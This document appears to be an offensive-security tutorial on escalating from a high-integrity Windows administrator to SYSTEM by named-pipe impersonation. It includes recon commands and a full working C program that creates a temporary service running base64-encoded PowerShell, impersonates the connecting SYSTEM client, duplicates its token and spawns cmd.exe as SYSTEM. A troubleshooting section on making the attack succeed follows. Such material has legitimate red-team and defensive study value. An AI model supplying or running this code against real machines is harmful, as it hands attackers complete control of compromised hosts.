From High Integrity to SYSTEM with Name Pipes

This is the administrator/SCM variant of named-pipe impersonation: an elevated process creates a temporary service whose child connects as SYSTEM, then impersonates that client. If the starting context cannot create services but has SeImpersonatePrivilege, use a privileged-service coercion instead; see Named Pipe Client Impersonation and RoguePotato, PrintSpoofer, SharpEfsPotato, GodPotato. Creating the service requires access to the SCM and SERVICE_START access to the new service, while CreateProcessWithTokenW requires SeImpersonatePrivilege.^[2][3]

Quickly confirm the expected starting context:

whoami /groups | findstr /i "High Mandatory"
whoami /priv | findstr /i "SeImpersonatePrivilege"
sc.exe query PiperSrv

Code flow:

Create the named-pipe server before starting the service. When waiting, treat ConnectNamedPipe returning FALSE with ERROR_PIPE_CONNECTED as success: it means the client won the race and connected between CreateNamedPipe and ConnectNamedPipe.^[4]
Create and start a service that will connect to the created pipe and write something. The service code will execute this encoded PS code: $pipe = new-object System.IO.Pipes.NamedPipeClientStream("piper"); $pipe.Connect(); $sw = new-object System.IO.StreamWriter($pipe); $sw.WriteLine("Go"); $sw.Dispose();
After the service connects and writes, call ImpersonateNamedPipeClient, open the resulting thread token, and duplicate it as a primary token.^[1]
Use that primary token to spawn cmd.exe.^[2]

This route assumes the caller can create/start a service and possesses the privileges required by CreateProcessWithTokenW (normally SeImpersonatePrivilege). It is a high-integrity-to-SYSTEM technique, not a primitive available to an arbitrary low-privileged user.^[2][3]

[!WARNING] If service creation/start fails, the sample does not signal the pipe thread and can wait indefinitely. Add error handling and an overlapped pipe timeout before using it outside a lab. Also use a random pipe/service name to avoid collisions.

ImpersonateNamedPipeClient adopts the context associated with the last message read, so a connection alone is insufficient: make the privileged client write, verify that ReadFile returned data, and only then impersonate. Duplicate the thread impersonation token into a TokenPrimary token with SecurityImpersonation; a primary token is what the process-creation API consumes.^[1][5]

#include <windows.h>
#include <time.h>

#pragma comment (lib, "advapi32")
#pragma comment (lib, "kernel32")

#define PIPESRV "PiperSrv"
#define MESSAGE_SIZE 512

DWORD WINAPI ServiceGo(LPVOID lpParam) {

	SC_HANDLE scManager;
	SC_HANDLE scService;

	scManager = OpenSCManager(NULL, SERVICES_ACTIVE_DATABASE, SC_MANAGER_ALL_ACCESS);

	if (scManager == NULL) {
		return FALSE;
	}

	// create Piper service
	scService = CreateServiceA(scManager, PIPESRV, PIPESRV, SERVICE_ALL_ACCESS, SERVICE_WIN32_OWN_PROCESS,
		SERVICE_DEMAND_START, SERVICE_ERROR_NORMAL,
		"C:\\Windows\\System32\\cmd.exe /c powershell.exe -EncodedCommand JABwAGkAcABlACAAPQAgAG4AZQB3AC0AbwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAFAAaQBwAGUAcwAuAE4AYQBtAGUAZABQAGkAcABlAEMAbABpAGUAbgB0AFMAdAByAGUAYQBtACgAIgBwAGkAcABlAHIAIgApADsAIAAkAHAAaQBwAGUALgBDAG8AbgBuAGUAYwB0ACgAKQA7ACAAJABzAHcAIAA9ACAAbgBlAHcALQBvAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ASQBPAC4AUwB0AHIAZQBhAG0AVwByAGkAdABlAHIAKAAkAHAAaQBwAGUAKQA7ACAAJABzAHcALgBXAHIAaQB0AGUATABpAG4AZQAoACIARwBvACIAKQA7ACAAJABzAHcALgBEAGkAcwBwAG8AcwBlACgAKQA7AA==",
		NULL, NULL, NULL, NULL, NULL);

	if (scService == NULL) {
		//printf("[!] CreateServiceA() failed: [%d]\n", GetLastError());
		return FALSE;
	}

	// launch it
	StartService(scService, 0, NULL);

	// wait a bit and then cleanup
	Sleep(10000);
	DeleteService(scService);

	CloseServiceHandle(scService);
	CloseServiceHandle(scManager);
}

int main() {

	LPCSTR sPipeName = "\\\\.\\pipe\\piper";
	HANDLE hSrvPipe;
	HANDLE th;
	BOOL bPipeConn;
	char pPipeBuf[MESSAGE_SIZE];
	DWORD dBRead = 0;

	HANDLE hImpToken;
	HANDLE hNewToken;
	STARTUPINFOW si;
	PROCESS_INFORMATION pi;

	// open pipe
	hSrvPipe = CreateNamedPipeA(sPipeName, PIPE_ACCESS_DUPLEX, PIPE_TYPE_MESSAGE | PIPE_WAIT,
		PIPE_UNLIMITED_INSTANCES, 1024, 1024, 0, NULL);

	// create and run service
	th = CreateThread(0, 0, ServiceGo, NULL, 0, 0);

	// wait for the connection from the service
	bPipeConn = ConnectNamedPipe(hSrvPipe, NULL);
	if (!bPipeConn && GetLastError() == ERROR_PIPE_CONNECTED) {
		bPipeConn = TRUE; // Client connected between CreateNamedPipe and ConnectNamedPipe
	}
	if (bPipeConn) {
		if (!ReadFile(hSrvPipe, &pPipeBuf, MESSAGE_SIZE, &dBRead, NULL) || dBRead == 0) {
			return -6;
		}

		// impersonate the service (SYSTEM)
		if (ImpersonateNamedPipeClient(hSrvPipe) == 0) {
			return -1;
		}

		// wait for the service to cleanup
		WaitForSingleObject(th, INFINITE);

		// get a handle to impersonated token
		if (!OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, FALSE, &hImpToken)) {
			return -2;
		}

		// create new primary token for new process
		if (!DuplicateTokenEx(hImpToken, TOKEN_ALL_ACCESS, NULL, SecurityImpersonation,
			TokenPrimary, &hNewToken)) {
			return -4;
		}

		//Sleep(20000);
		// spawn cmd.exe as full SYSTEM user
		ZeroMemory(&si, sizeof(si));
		si.cb = sizeof(si);
		ZeroMemory(&pi, sizeof(pi));
		if (!CreateProcessWithTokenW(hNewToken, 0, L"C:\\Windows\\System32\\cmd.exe", NULL,
			CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi)) {
			return -5;
		}

		// revert back to original security context
		RevertToSelf();

	}

	return 0;
}

Failure triage

ConnectNamedPipe == FALSE with ERROR_PIPE_CONNECTED: continue; the pipe is already connected.^[4]
ImpersonateNamedPipeClient fails with ERROR_CANNOT_IMPERSONATE (1368): confirm the SYSTEM client actually wrote data and ReadFile completed. Also inspect the client’s requested impersonation level; identification/anonymous-level clients cannot be fully impersonated.^[1]
CreateProcessWithTokenW fails with ERROR_PRIVILEGE_NOT_HELD (1314): the original caller does not hold SeImpersonatePrivilege. From a high-integrity administrator context, use the token-copy route documented in SeImpersonate from High To System, or use CreateProcessAsUserW while impersonating SYSTEM if its required privileges are present.^[2]
CreateServiceA returns ERROR_SERVICE_EXISTS (1073): delete the stale PiperSrv entry or randomize PIPESRV; always delete the temporary service after the trigger.^[3]